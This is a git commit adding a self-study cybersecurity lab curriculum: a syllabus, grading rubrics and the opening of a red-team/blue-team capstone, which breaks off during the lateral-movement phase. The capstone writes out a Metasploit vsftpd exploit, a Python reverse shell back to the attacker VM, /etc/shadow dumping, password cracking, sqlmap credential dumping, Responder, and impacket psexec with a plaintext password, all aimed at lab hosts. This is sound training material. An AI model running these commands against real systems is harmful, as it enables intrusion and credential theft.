commit 6d0035721e3ffe60b86f081ad297fcf0b9dd7ae5 Author: jramos Date: Thu May 28 18:27:41 2026 -0600 initial commit diff --git a/.claude/SYLLABUS_Cybersecurity_Applied_Lab.md b/.claude/SYLLABUS_Cybersecurity_Applied_Lab.md new file mode 100644 index 0000000..17ee780 --- /dev/null +++ b/.claude/SYLLABUS_Cybersecurity_Applied_Lab.md @@ -0,0 +1,195 @@ +# FILE: SYLLABUS_Cybersecurity_Applied_Lab.md +# SYLLABUS: CYBERSECURITY APPLIED LAB +**Apophis Networking - Security Operations Center Training Program** + +--- + +## Course Overview + +This self-study curriculum transitions theoretical cybersecurity concepts into applied, hands-on experience. By building a functional, segmented enterprise-grade network range within a virtualized environment, you will develop the foundational skills necessary to launch a cybersecurity venture, such as Apophis Networking, or operate within a modern Security Operations Center (SOC). + +**Program Objectives:** +- Master both offensive (Red Team) and defensive (Blue Team) security techniques +- Build and operate a production-grade SOC infrastructure +- Develop incident response and digital forensics capabilities +- Understand real-world attack chains and detection engineering +- Create professional security documentation and reporting + +**Target Audience:** +- Self-learners pursuing cybersecurity careers +- IT professionals transitioning to security roles +- Students preparing for industry certifications (Security+, CySA+, OSCP) +- Aspiring penetration testers and SOC analysts + +--- + +## Core Architecture + +The laboratory is built entirely within a Proxmox hypervisor. Network segmentation is achieved via 802.1Q VLAN tagging and routed through a virtualized firewall appliance (pfSense/OPNsense) to ensure malicious traffic remains isolated from your physical home network. + +### Network Segmentation Strategy +* **VLAN 100 (Management):** 10.10.1.0/24 - Proxmox Web GUI, Firewall Management. +* **VLAN 200 (Red Network):** 10.10.2.0/24 - Attacker subnet (Kali Linux). +* **VLAN 300 (Blue Network):** 10.10.3.0/24 - Defenders/SOC (Security Onion). +* **VLAN 400 (Victim Network):** 10.10.4.0/24 - Vulnerable targets (Windows/Linux). + +### Virtual Machine Inventory +1. **pfSense** (Firewall/Router) +2. **Kali Linux** (Red Team Operations) +3. **Security Onion** (Network Security Monitoring) +4. **Metasploitable 2** (Linux Target) +5. **Windows Server 2022** (Domain Controller) +6. **Windows 10** (Domain Endpoint) + +--- + +## Curriculum Structure + +| Module | Title | Duration | Key Skills | +|--------|-------|----------|------------| +| **MOD0** | Prerequisites & Fundamentals | 8-12 hours | Linux CLI, Windows PowerShell, Networking, Virtualization | +| **MOD1** | Secure Infrastructure Provisioning | 4-8 hours | VLAN tagging, pfSense, Firewall rules, Network segmentation | +| **MOD2** | Reconnaissance & Network Traffic Analysis | 8-14 hours | Nmap, Wireshark, Service enumeration, PCAP analysis | +| **MOD3** | Exploitation & Post-Exploitation | 10-17 hours | Metasploit, Reverse shells, Privilege escalation, Persistence | +| **MOD4** | Defensive Monitoring & the SOC | 6-10 hours | Security Onion, IDS/IPS, Suricata rules, Alert triage | +| **MOD4.5** | SIEM Operations & Log Analysis | 6-10 hours | KQL queries, Kibana dashboards, Alert tuning, Correlation | +| **MOD5** | Active Directory Threat Emulation | 8-12 hours | AD deployment, Kerberoasting, Pass-the-Hash, Domain attacks | +| **MOD6** | Incident Response & Digital Forensics | 10-15 hours | Disk forensics, Memory analysis, PCAP forensics, IR reporting | +| **MOD7** | Web Application Security | 8-12 hours | OWASP Top 10, SQL injection, XSS, Burp Suite, WAF | +| **MOD8** | Threat Intelligence & Hunting | 6-10 hours | MITRE ATT&CK, IOCs, Sigma rules, Hypothesis-driven hunting | +| **CAPSTONE** | APT Simulation Project | 16-24 hours | Integrated Red/Blue exercise, Full IR lifecycle, Reporting | + +**Total Program Duration:** 90-144 hours (12-18 weeks at 8 hours/week) + +--- + +## Course Expectations + +### Self-Directed Learning +This is a **self-paced, self-driven** laboratory curriculum. You are expected to: +- Break the environment intentionally (that's how you learn) +- Troubleshoot routing issues, firewall rules, and VM problems independently +- Analyze packet captures and log files for clues +- Rebuild systems from snapshots when something breaks +- Research error messages using Google, Stack Overflow, Reddit + +**The documentation serves as a guide, not a step-by-step walkthrough.** Successful completion requires independent research, critical thinking, and logical problem-solving. + +### Time Commitment +- **Minimum:** 8-10 hours per week for 12-14 weeks +- **Recommended:** 12-15 hours per week for faster progress +- **Intensive:** 20+ hours per week to complete in 6-8 weeks + +### Documentation Requirements +Every module requires: +- **Lab Report:** Following LAB_REPORT_TEMPLATE.md format +- **Screenshots:** Minimum 5 per module (more for complex modules) +- **Command History:** Export of all commands executed +- **PCAP Files:** Network traffic captures of key activities +- **Deliverables:** Specific outputs listed in each module + +### Assessment +- **Module Completion:** Each module graded on 100-point rubric (see ASSESSMENT_RUBRICS.md) +- **Capstone Project:** 200 points (comprehensive assessment) +- **Overall Grade:** Total 1200 points across all modules +- **Passing Grade:** 70% (840/1200 points) +- **Excellence:** 90%+ (1080/1200 points) - ready for OSCP-level challenges + +--- + +## Professional Development + +### Certification Pathways + +**After completing this curriculum, you will be prepared for:** + +**Entry-Level Certifications:** +- CompTIA Security+ (if not already obtained) +- CompTIA CySA+ (Cybersecurity Analyst) +- CompTIA PenTest+ (Penetration Testing) + +**Advanced Certifications (with additional study):** +- **Offensive Security Certified Professional (OSCP)** ← Highly recommended next step +- GIAC Certified Incident Handler (GCIH) +- Certified Ethical Hacker (CEH) + +### Career Roles +1. **SOC Analyst (Tier 1/2)** +2. **Penetration Tester** +3. **Incident Responder** +4. **Detection Engineer** +5. **Threat Hunter** +6. **Security Consultant** + +--- + +## Module Files + +All module documentation is located in the `.claude/` directory: + +- **MOD0_Prerequisites.md** - Linux, Windows, Networking, Virtualization fundamentals +- **MOD1_Secure_Infrastructure.md** - Proxmox, pfSense, VLAN configuration +- **MOD2_Recon_and_NTA.md** - Nmap, Wireshark, Service enumeration +- **MOD3_Exploitation.md** - Metasploit, Post-exploitation, Persistence +- **MOD4_Defensive_Monitoring.md** - Security Onion, IDS/IPS, Custom rules +- **MOD4.5_SIEM_Operations.md** - KQL, Kibana dashboards, Log correlation +- **MOD5_Active_Directory_Emulation.md** - AD attacks, Kerberoasting, Lateral movement +- **MOD6_Incident_Response.md** - Forensics, Timeline analysis, IR reporting +- **MOD7_Web_Application_Security.md** - OWASP Top 10, Burp Suite, WAF +- **MOD8_Threat_Intelligence.md** - MITRE ATT&CK, IOCs, Threat hunting +- **CAPSTONE_APT_Simulation.md** - Integrated Red/Blue team exercise + +### Supporting Documentation +- **LAB_REPORT_TEMPLATE.md** - Standard format for all lab reports +- **ASSESSMENT_RUBRICS.md** - Grading criteria for all modules +- **SYLLABUS_Cybersecurity_Applied_Lab.md** - This file + +--- + +## Resources & Support + +### Required Software (All Free/Open Source) +- Proxmox VE (hypervisor) +- pfSense (firewall) +- Kali Linux (penetration testing) +- Security Onion (SIEM/IDS) +- Metasploitable 2 (vulnerable target) +- Windows Server 2022 (evaluation license) +- Windows 10 (evaluation license) + +### Recommended Study Materials +- **Books:** + - "The Linux Command Line" by William Shotts (FREE PDF) + - "The Web Application Hacker's Handbook" by Stuttard & Pinto + - "Practical Malware Analysis" by Sikorski & Honig + +- **Videos:** + - Professor Messer (Network+, Security+) + - IppSec (HackTheBox walkthroughs) + - HackerSploit (YouTube channel) + +- **Practice Platforms:** + - TryHackMe (guided learning paths) + - HackTheBox (realistic VMs) + - PentesterLab (web app security) + +--- + +## Academic Integrity + +### Authorized Use Policy +All tools and techniques taught in this curriculum are for **AUTHORIZED USE ONLY**: +- ✅ **Allowed:** Using these techniques on VMs in YOUR lab that YOU own +- ✅ **Allowed:** Authorized penetration tests with written permission +- ✅ **Allowed:** CTF competitions and training platforms +- ❌ **ILLEGAL:** Using these techniques on unauthorized systems (18 U.S.C. § 1030) + +--- + +**GOOD LUCK, AND WELCOME TO APOPHIS NETWORKING!** + +*"Order from Chaos" - Building security professionals one lab at a time.* + +--- + +**END OF SYLLABUS** diff --git a/.claude/settings.local.json b/.claude/settings.local.json new file mode 100644 index 0000000..f068d79 --- /dev/null +++ b/.claude/settings.local.json @@ -0,0 +1,16 @@ +{ + "permissions": { + "allow": [ + "Bash(npm create:*)", + "Bash(npm install)", + "Bash(npx vite --version)", + "Bash(npm install:*)", + "Bash(copy:*)", + "Bash(npm run build:*)", + "Bash(npm run dev:*)" + ], + "additionalDirectories": [ + "c:\\Users\\fam1n\\projects\\seclab" + ] + } +} diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..bf18f5e Binary files /dev/null and b/.gitignore differ diff --git a/ASSESSMENT_RUBRICS.md b/ASSESSMENT_RUBRICS.md new file mode 100644 index 0000000..973a0b4 --- /dev/null +++ b/ASSESSMENT_RUBRICS.md @@ -0,0 +1,320 @@ +# ASSESSMENT RUBRICS +# Apophis Networking Cybersecurity Applied Lab + +--- + +## MODULE-LEVEL ASSESSMENT RUBRIC + +Each module (MOD0-MOD8) is assessed on the following criteria: + +| Criterion | Excellent (90-100%) | Proficient (80-89%) | Developing (70-79%) | Needs Improvement (<70%) | +|-----------|---------------------|---------------------|---------------------|--------------------------| +| **Technical Execution** | All labs completed flawlessly; goes beyond requirements with additional exploration | All required labs completed correctly; minor errors quickly corrected | Most labs completed; some troubleshooting issues requiring instructor help | Labs incomplete or significant errors unresolved | +| **Documentation** | Comprehensive notes with commands, screenshots, and analysis; publication-ready | Complete documentation with all required elements; minor formatting issues | Basic documentation present; missing some screenshots or command history | Incomplete or disorganized documentation | +| **Conceptual Understanding** | Demonstrates deep understanding; can explain "why" behind every action | Solid grasp of concepts; can articulate attack/defense tradeoffs | Surface-level understanding; follows instructions without full comprehension | Limited understanding; cannot explain what they did or why | +| **Troubleshooting** | Independently resolves all issues using logs, research, and critical thinking | Resolves most issues with minimal guidance; uses systematic approach | Struggles with troubleshooting; requires step-by-step instructor support | Cannot troubleshoot; gives up easily when errors occur | +| **Time Management** | Completes module in recommended timeframe or faster | Completes within 1.5x recommended time | Requires 2x+ recommended time | Does not complete within reasonable timeframe | + +--- + +## MODULE 0: PREREQUISITES - ASSESSMENT + +**Passing Criteria:** Must demonstrate proficiency in ALL prerequisite skills before proceeding. + +### Linux CLI Fundamentals (25 points) +- [ ] Navigate filesystem (cd, ls, pwd) - 5 pts +- [ ] File permissions (chmod, chown, understanding rwx) - 5 pts +- [ ] Log analysis (grep, tail, awk on /var/log) - 5 pts +- [ ] User management (useradd, passwd, su) - 5 pts +- [ ] Process management (ps, top, kill) - 5 pts + +### Windows Fundamentals (25 points) +- [ ] PowerShell cmdlets (Get-EventLog, Get-Service, Get-Process) - 10 pts +- [ ] Event Viewer navigation and filtering - 10 pts +- [ ] Identify critical Event IDs (4624, 4625, 4672) - 5 pts + +### Networking Fundamentals (25 points) +- [ ] Subnetting calculations (hand calculation + verification) - 10 pts +- [ ] Ping/traceroute interpretation - 5 pts +- [ ] Understand TCP/IP stack and OSI model - 10 pts + +### Virtualization (25 points) +- [ ] Create and restore VM snapshots - 10 pts +- [ ] Configure VM network modes (NAT, Bridged, Host-Only) - 10 pts +- [ ] Explain Type 1 vs Type 2 hypervisors - 5 pts + +**TOTAL: 100 points** +**Pass Threshold: 80/100** (Students below 80 must remediate before MOD1) + +--- + +## MODULE 1-5: CORE SKILLS - DETAILED RUBRICS + +### MOD1: Secure Infrastructure Provisioning (100 points) + +| Task | Points | Criteria | +|------|--------|----------| +| Proxmox VLAN Configuration | 20 | Bridge is VLAN-aware; verified in /etc/network/interfaces | +| pfSense Deployment | 20 | VM created with correct specs; pfSense installed and accessible | +| VLAN Interface Creation | 20 | VLANs 200, 300, 400 created and assigned to interfaces | +| Firewall Rules | 25 | Red→Victim allowed; Victim→Red blocked; Victim→WAN blocked | +| Validation Testing | 15 | All 5 tests pass (connectivity, isolation, internet access) | + +### MOD2: Reconnaissance & NTA (100 points) + +| Task | Points | Criteria | +|------|--------|----------| +| Nmap Scanning | 20 | Multiple scan types demonstrated (-sS, -sV, -A, -p-) | +| Service Enumeration | 20 | FTP, SMB, HTTP enumerated with appropriate tools | +| Wireshark Analysis | 25 | PCAP captured; SYN scan identified; TCP streams analyzed | +| Scan Type Identification | 15 | Can distinguish SYN vs Connect vs UDP scans in PCAP | +| Documentation | 20 | Comprehensive recon report with network diagram | + +### MOD3: Exploitation & Post-Exploitation (100 points) + +| Task | Points | Criteria | +|------|--------|----------| +| Metasploit Exploitation | 25 | vsftpd and/or Samba successfully exploited | +| Meterpreter Usage | 20 | Post-exploitation commands executed (sysinfo, hashdump, etc.) | +| Manual Exploitation | 15 | vsftpd exploited without Metasploit (netcat method) | +| Privilege Escalation | 20 | Demonstrates at least 2 privesc techniques | +| Persistence | 10 | Establishes persistence via SSH keys or cron | +| Documentation | 10 | Attack chain documented with screenshots | + +### MOD4: Defensive Monitoring (100 points) + +| Task | Points | Criteria | +|------|--------|----------| +| Security Onion Deployment | 20 | SO installed and sensors operational | +| Alert Detection | 25 | Can identify nmap scans and exploitation in alerts | +| Custom Rule Writing | 30 | Creates working Suricata/Zeek rule for specific attack | +| Log Analysis | 15 | Correlates Suricata alerts with Zeek conn logs | +| Documentation | 10 | Detection engineering notes with rule explanations | + +### MOD4.5: SIEM Operations (100 points) + +| Task | Points | Criteria | +|------|--------|----------| +| KQL Query Mastery | 25 | Writes 10+ functional queries for threat hunting | +| Dashboard Creation | 25 | Builds custom Kibana dashboard with 5+ visualizations | +| Alert Tuning | 20 | Reduces false positives via threshold.config | +| Log Correlation | 20 | Links recon → exploit → post-exploit in timeline | +| Dashboard Integration | 10 | Exports data for React SOC dashboard | + +### MOD5: Active Directory (100 points) + +| Task | Points | Criteria | +|------|--------|----------| +| AD Deployment | 20 | Domain Controller promoted; domain created | +| Domain Join | 10 | Windows 10 successfully joined to domain | +| Kerberoasting Attack | 30 | Captures service tickets; cracks with hashcat | +| Pass-the-Hash | 20 | Uses impacket for lateral movement | +| Defense Documentation | 20 | Explains how to detect each attack in logs | + +--- + +## MODULE 6-8: ADVANCED TOPICS - RUBRICS + +### MOD6: Incident Response (100 points) + +| Task | Points | Criteria | +|------|--------|----------| +| Disk Forensics | 25 | Acquires image; calculates hashes; analyzes with Autopsy | +| Memory Forensics | 25 | Captures dump; analyzes with Volatility; finds malicious process | +| Network Forensics | 20 | Reconstructs attack from PCAP; extracts transferred files | +| IR Report Writing | 20 | Follows NIST PICERL; includes timeline and IOCs | +| Remediation Plan | 10 | Provides actionable, prioritized recommendations | + +### MOD7: Web Application Security (100 points) + +| Task | Points | Criteria | +|------|--------|----------| +| SQL Injection | 20 | Manual and SQLMap exploitation; data extracted | +| XSS Attack | 20 | Demonstrates reflected and stored XSS | +| Burp Suite Usage | 20 | Intercepts traffic; uses Repeater and Intruder | +| WAF Configuration | 20 | Deploys ModSecurity/Suricata rules to block attacks | +| Detection in SO | 20 | Creates KQL queries and detection rules for web attacks | + +### MOD8: Threat Intelligence (100 points) + +| Task | Points | Criteria | +|------|--------|----------| +| MITRE Mapping | 25 | Maps all MOD3 attacks to correct tactics/techniques | +| IOC Database | 20 | Creates structured IOC list (IP, hash, file, network) | +| Threat Hunting | 25 | Executes 3 hypothesis-driven hunts with results | +| Sigma Rules | 15 | Writes 2+ functional Sigma rules | +| Dashboard Update | 15 | Integrates MITRE coverage heatmap into React dashboard | + +--- + +## CAPSTONE PROJECT: COMPREHENSIVE RUBRIC (200 points) + +**Weight:** Equivalent to 2 modules + +| Category | Max Points | Excellent (90-100%) | Proficient (80-89%) | Developing (70-79%) | Needs Improvement (<70%) | +|----------|------------|---------------------|---------------------|---------------------|--------------------------| +| **Red Team Execution** | 50 | Novel TTPs; multi-stage campaign; perfect stealth | All required attack phases completed; good stealth | Basic attacks executed; some noisy techniques | Incomplete attack chain; easily detected | +| **Blue Team Detection** | 50 | Detects all phases; accurate attribution; timeline perfect | Detects most attacks; good forensic analysis | Detects initial access only; incomplete timeline | Fails to detect multiple attack phases | +| **Technical Documentation** | 40 | Publication-quality; comprehensive appendices | Complete with all required sections | Basic documentation; missing some elements | Incomplete or poorly organized | +| **Remediation Plan** | 20 | Detailed; cost-benefit analysis; prioritized; realistic | Actionable recommendations; reasonable priorities | Generic recommendations; no prioritization | Vague or unrealistic suggestions | +| **Dashboard Integration** | 20 | Fully functional; interactive; accurate data | Data integrated; basic visualizations | Partial integration; some errors | Dashboard not updated or broken | +| **Presentation** | 20 | Engaging; clear narrative; professional slides | Organized; covers all points; adequate slides | Basic presentation; some unclear points | Disorganized or incomplete presentation | + +**TOTAL: 200 points** + +**Capstone Grading Scale:** +- **180-200:** A (Exceptional - ready for professional SOC role) +- **160-179:** B (Strong - demonstrates competency) +- **140-159:** C (Acceptable - meets minimum standards) +- **120-139:** D (Needs improvement - remediation required) +- **<120:** F (Fails to demonstrate minimum competency) + +--- + +## OVERALL COURSE GRADING SCHEME + +### Point Distribution + +| Component | Points | Percentage | +|-----------|--------|------------| +| MOD0 (Prerequisites) | 100 | 5% | +| MOD1 (Infrastructure) | 100 | 8% | +| MOD2 (Reconnaissance) | 100 | 8% | +| MOD3 (Exploitation) | 100 | 8% | +| MOD4 (Defensive Monitoring) | 100 | 8% | +| MOD4.5 (SIEM Operations) | 100 | 8% | +| MOD5 (Active Directory) | 100 | 8% | +| MOD6 (Incident Response) | 100 | 9% | +| MOD7 (Web App Security) | 100 | 9% | +| MOD8 (Threat Intelligence) | 100 | 9% | +| **CAPSTONE PROJECT** | 200 | 20% | +| **TOTAL** | **1200** | **100%** | + +### Final Letter Grades + +| Grade | Point Range | Percentage | Description | +|-------|-------------|------------|-------------| +| A | 1080-1200 | 90-100% | Exceptional mastery; ready for professional cybersecurity role | +| B | 960-1079 | 80-89% | Strong understanding; competent in most areas | +| C | 840-959 | 70-79% | Adequate knowledge; meets minimum standards | +| D | 720-839 | 60-69% | Below expectations; significant gaps in knowledge | +| F | <720 | <60% | Does not meet minimum competency for certification | + +--- + +## SELF-ASSESSMENT CHECKLIST + +Use this to gauge your readiness before final assessment: + +### Red Team Skills +- [ ] Can perform network reconnaissance using nmap (multiple scan types) +- [ ] Can identify and exploit common vulnerabilities (FTP, SMB, web apps) +- [ ] Understands Metasploit Framework architecture (exploits, payloads, handlers) +- [ ] Can perform privilege escalation on Linux and Windows +- [ ] Can establish persistence mechanisms +- [ ] Can perform Active Directory attacks (Kerberoasting, PTH) + +### Blue Team Skills +- [ ] Can deploy and configure Security Onion +- [ ] Can write custom Suricata and Zeek rules +- [ ] Can query logs using KQL (Kibana Query Language) +- [ ] Can perform disk forensics with Autopsy +- [ ] Can perform memory forensics with Volatility +- [ ] Can analyze PCAPs for attack indicators + +### Analytical Skills +- [ ] Can map attacks to MITRE ATT&CK framework +- [ ] Can create and use IOCs for threat detection +- [ ] Can perform hypothesis-driven threat hunting +- [ ] Can write comprehensive incident response reports +- [ ] Can develop remediation plans with cost/benefit analysis + +### Technical Writing +- [ ] Can document procedures clearly and reproducibly +- [ ] Can write executive summaries for non-technical stakeholders +- [ ] Can create technical diagrams (network maps, attack flows) +- [ ] Can follow professional report templates + +### Soft Skills +- [ ] Can troubleshoot independently using logs and research +- [ ] Can manage time effectively across complex projects +- [ ] Can present technical findings to mixed audiences +- [ ] Can think critically about attack/defense tradeoffs + +--- + +## REMEDIATION GUIDELINES + +**If you score below 70% on any module:** + +1. **Review Foundational Concepts:** + - Re-read module documentation + - Watch supplemental videos (Professor Messer, HackerSploit, IppSec) + +2. **Hands-On Practice:** + - Repeat failed labs with detailed note-taking + - Try variations of the attack/defense technique + - Use TryHackMe or HackTheBox for additional practice + +3. **Seek Clarification:** + - Document specific errors/confusion points + - Research error messages (Google, Stack Overflow, Reddit r/AskNetsec) + - Review relevant MITRE ATT&CK technique pages + +4. **Re-Assessment:** + - Rebuild VMs from clean snapshots + - Attempt labs again without referring to previous notes + - Submit new lab report for re-grading + +5. **Progress Criteria:** + - Must achieve 70% or higher on remediation attempt + - If still below 70%, one-on-one tutoring recommended + - Cannot proceed to Capstone without passing all modules + +--- + +## CERTIFICATION RECOMMENDATION + +Upon successful completion (C or higher), students are recommended for: + +**Entry-Level Certifications:** +- CompTIA Security+ (if not already obtained) +- CompTIA CySA+ (Cybersecurity Analyst) +- CompTIA PenTest+ (Penetration Testing) + +**Intermediate Certifications:** +- GIAC Security Essentials (GSEC) +- GIAC Certified Intrusion Analyst (GCIA) +- eLearnSecurity Junior Penetration Tester (eJPT) + +**Advanced Certifications (with additional study):** +- Offensive Security Certified Professional (OSCP) +- GIAC Certified Incident Handler (GCIH) +- Certified Ethical Hacker (CEH) + +**Students scoring A in Capstone** are well-prepared for OSCP-level challenges. + +--- + +## INSTRUCTOR NOTES + +### Grading Consistency +- Use this rubric for all students to ensure fairness +- Document any exceptions or accommodations +- Provide detailed feedback on point deductions + +### Common Student Challenges +- **MOD0:** Underestimate importance; skip ahead (enforce prerequisite check) +- **MOD1:** VLAN tagging errors (most common troubleshooting issue) +- **MOD3:** Wrong LHOST IP (check this first when exploits fail) +- **MOD4:** Alert fatigue (teach tuning early) +- **Capstone:** Time management (enforce interim deadlines) + +### Encouraging Excellence +- Highlight exceptional work as examples for future students +- Offer bonus points for creative attack/defense techniques +- Encourage publication of findings (blog posts, conference talks) + +--- + +**END OF ASSESSMENT RUBRICS** diff --git a/CAPSTONE_APT_Simulation.md b/CAPSTONE_APT_Simulation.md new file mode 100644 index 0000000..dc5a43f --- /dev/null +++ b/CAPSTONE_APT_Simulation.md @@ -0,0 +1,1090 @@ +# CAPSTONE PROJECT: Operation Serpent's Shadow +## Advanced Persistent Threat (APT) Simulation & Incident Response + +**Duration**: 24-30 hours +**Points**: 200 (Red Team: 100pts, Blue Team: 100pts) +**Prerequisites**: MOD0-MOD8 completion +**Difficulty**: Advanced + +--- + +## Executive Summary + +**Operation Serpent's Shadow** is a comprehensive capstone exercise simulating a sophisticated APT campaign against the Apophis Networking infrastructure. You will first act as the **Red Team** executing a 7-phase attack campaign, then switch roles to become the **Blue Team** investigating and responding to your own intrusion. + +This capstone tests your ability to: +- Execute complex multi-stage attacks using techniques from MITRE ATT&CK +- Maintain operational security while achieving attack objectives +- Detect, analyze, and respond to advanced threats +- Document findings in professional incident response reports +- Apply threat intelligence to real-world scenarios + +**Scenario**: A nation-state APT group (codename: SERPENT SYNDICATE) has targeted Apophis Networking to steal intellectual property and maintain persistent access. You will emulate this threat actor, then hunt and remediate the intrusion. + +--- + +## Learning Objectives + +By completing this capstone, you will demonstrate: + +1. **Red Team Skills**: + - Multi-phase attack chain execution (reconnaissance → persistence) + - Evasion of security controls (IDS/IPS, EDR simulation) + - Credential harvesting and lateral movement + - Data exfiltration techniques + - OPSEC and TTPs documentation + +2. **Blue Team Skills**: + - Security log analysis across multiple sources (SIEM, firewall, endpoint) + - Intrusion detection and alert triage + - Digital forensics (disk, memory, network) + - Incident response lifecycle (NIST PICERL) + - Threat intelligence correlation (MITRE ATT&CK mapping) + - Remediation and hardening recommendations + +3. **Professional Skills**: + - Technical report writing + - Timeline reconstruction + - Executive briefing creation + - Post-incident review documentation + +--- + +## Lab Environment + +### Network Topology + +``` +VLAN 100 (Management) : 10.10.1.0/24 - Proxmox, pfSense +VLAN 200 (Red Team) : 10.10.2.0/24 - Kali Linux +VLAN 300 (Blue Team) : 10.10.3.0/24 - Security Onion +VLAN 400 (Victim Network): 10.10.4.0/24 - Target Systems +``` + +### Target Systems (VLAN 400) + +1. **DC01** (10.10.4.10) - Windows Server 2022 Domain Controller + - Domain: `apophis.local` + - Services: AD, DNS, LDAP, Kerberos + +2. **WS01** (10.10.4.20) - Windows 10 Workstation (HR Department) + - Domain-joined + - User: `hruser` (Domain Users group) + +3. **WS02** (10.10.4.21) - Windows 10 Workstation (IT Admin) + - Domain-joined + - User: `itadmin` (Domain Admins group - simulated compromised admin) + +4. **WEB01** (10.10.4.30) - DVWA Web Server (Ubuntu + Docker) + - Services: HTTP (80), SSH (22), MySQL (3306) + +5. **FILE01** (10.10.4.40) - Metasploitable 2 (Legacy File Server) + - Services: FTP (21), SMB (445), SSH (22) + +### Attack Infrastructure (VLAN 200) + +- **Kali Linux** (10.10.2.50) + - Tools: Nmap, Metasploit, Impacket, BloodHound, Responder, Mimikatz + +### Monitoring Infrastructure (VLAN 300) + +- **Security Onion** (10.10.3.100) + - SIEM: Kibana/Elasticsearch + - IDS/IPS: Suricata + - Network Forensics: Zeek (Bro), PCAP + +--- + +## PHASE 1: RED TEAM OPERATION (100 Points) + +### Pre-Engagement Checklist + +Before starting the attack campaign: + +1. **Create Attack VM Snapshot**: `Kali_PreAttack_Snapshot` +2. **Create Target VM Snapshots**: Snapshot all VLAN 400 systems +3. **Verify Network Isolation**: Confirm VLAN segmentation and firewall rules +4. **Start Security Onion**: Ensure all sensors are running +5. **Create Attack Log Directory**: + ```bash + mkdir -p ~/capstone/red_team/{logs,screenshots,loot,exfil} + script ~/capstone/red_team/logs/attack_$(date +%Y%m%d_%H%M%S).log + ``` + +--- + +### Attack Phase 1: External Reconnaissance (10 Points) + +**Objective**: Map the external attack surface without triggering alerts. + +**TTPs**: MITRE ATT&CK - TA0043 (Reconnaissance) + +**Tasks**: + +1. **Passive Reconnaissance**: + ```bash + # Simulated OSINT gathering (document in report) + echo "apophis.local" > targets.txt + echo "10.10.4.0/24" >> targets.txt + + # DNS enumeration (if DNS is exposed) + dig @10.10.4.10 apophis.local ANY + dig @10.10.4.10 apophis.local AXFR + ``` + +2. **Active Network Scanning**: + ```bash + # Stealthy host discovery (SYN scan, no ICMP) + sudo nmap -sS -Pn -T2 --max-retries 1 -oA recon/syn_scan 10.10.4.0/24 + + # Service enumeration on discovered hosts + sudo nmap -sV -sC -p- --open -T3 -oA recon/service_scan 10.10.4.0/24 + ``` + +3. **SMB/NetBIOS Enumeration**: + ```bash + # Enumerate SMB shares and users + enum4linux -a 10.10.4.10 | tee recon/enum4linux_dc01.txt + smbclient -L //10.10.4.40 -N | tee recon/smbshares_file01.txt + ``` + +**Deliverables**: +- [ ] Nmap scan results (XML + screenshot) +- [ ] Network topology diagram with discovered hosts/services +- [ ] Target prioritization list (justify choices) + +**Assessment Criteria** (10pts): +- Comprehensive service enumeration (5pts) +- Evasion techniques documented (3pts) +- Target analysis and prioritization (2pts) + +--- + +### Attack Phase 2: Initial Access (15 Points) + +**Objective**: Gain initial foothold on the victim network. + +**TTPs**: MITRE ATT&CK - TA0001 (Initial Access) +**Techniques**: T1190 (Exploit Public-Facing Application), T1078 (Valid Accounts) + +**Scenario**: You discovered FILE01 (Metasploitable 2) running vulnerable vsftpd 2.3.4. + +**Tasks**: + +1. **Exploit vsftpd Backdoor** (from MOD3): + ```bash + msfconsole -q + use exploit/unix/ftp/vsftpd_234_backdoor + set RHOSTS 10.10.4.40 + set PAYLOAD cmd/unix/interact + exploit + ``` + +2. **Establish Meterpreter Session**: + ```bash + # Upgrade to full Meterpreter shell + # (Use MSFVenom payload + upload via FTP if needed) + python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.2.50",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' + ``` + +3. **System Enumeration**: + ```bash + # Gather system information + uname -a + id + cat /etc/passwd + cat /etc/shadow 2>/dev/null + netstat -tulpn + ls -la /home + ``` + +**Deliverables**: +- [ ] Screenshot of successful exploit +- [ ] Output of system enumeration commands +- [ ] Screenshot showing `whoami` and `ifconfig` from victim + +**Assessment Criteria** (15pts): +- Successful initial access (10pts) +- System enumeration completeness (3pts) +- Shell stability and upgrade (2pts) + +--- + +### Attack Phase 3: Credential Access (15 Points) + +**Objective**: Harvest credentials to enable lateral movement. + +**TTPs**: MITRE ATT&CK - TA0006 (Credential Access) +**Techniques**: T1003 (OS Credential Dumping), T1110 (Brute Force) + +**Tasks**: + +1. **Linux Credential Harvesting** (FILE01): + ```bash + # Dump /etc/shadow (if accessible) + cat /etc/shadow + + # Search for credentials in config files + grep -ri password /var/www/html 2>/dev/null + grep -ri password /home 2>/dev/null + find / -name "*pass*" -type f 2>/dev/null | head -20 + ``` + +2. **Password Cracking**: + ```bash + # Save hashes and crack with John + unshadow /tmp/passwd /tmp/shadow > /tmp/unshadowed.txt + john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/unshadowed.txt + john --show /tmp/unshadowed.txt + ``` + +3. **Web Application Credential Extraction** (WEB01): + ```bash + # SQL injection to dump DVWA users (MOD7 techniques) + sqlmap -u "http://10.10.4.30/vulnerabilities/sqli/?id=1&Submit=Submit#" \ + --cookie="PHPSESSID=" \ + --dump -D dvwa -T users + ``` + +4. **Network Credential Sniffing** (Advanced): + ```bash + # Responder for NTLM hash capture (if AD communication observed) + sudo responder -I eth0 -wrf + ``` + +**Deliverables**: +- [ ] Cracked password list (at least 3 accounts) +- [ ] Screenshot of John the Ripper output +- [ ] Captured NTLM hashes (if applicable) +- [ ] SQL injection dump results + +**Assessment Criteria** (15pts): +- Multiple credential sources exploited (7pts) +- Successful password cracking (5pts) +- Documentation of credential storage locations (3pts) + +--- + +### Attack Phase 4: Lateral Movement (20 Points) + +**Objective**: Pivot from initial foothold to domain-joined systems. + +**TTPs**: MITRE ATT&CK - TA0008 (Lateral Movement) +**Techniques**: T1021.002 (SMB/Windows Admin Shares), T1550.002 (Pass the Hash) + +**Scenario**: You obtained credentials for `itadmin` and need to access WS02. + +**Tasks**: + +1. **SMB Authentication Testing**: + ```bash + # Test credentials against domain systems + crackmapexec smb 10.10.4.0/24 -u itadmin -p 'P@ssw0rd123' --shares + crackmapexec smb 10.10.4.0/24 -u itadmin -p 'P@ssw0rd123' --local-auth + ``` + +2. **PSExec Lateral Movement**: + ```bash + # Gain shell on WS02 using Impacket + impacket-psexec 'apophis.local/itadmin:P@ssw0rd123@10.10.4.21' + + # Alternative: WMIExec + impacket-wmiexec 'apophis.local/itadmin:P@ssw0rd123@10.10.4.21' + ``` + +3. 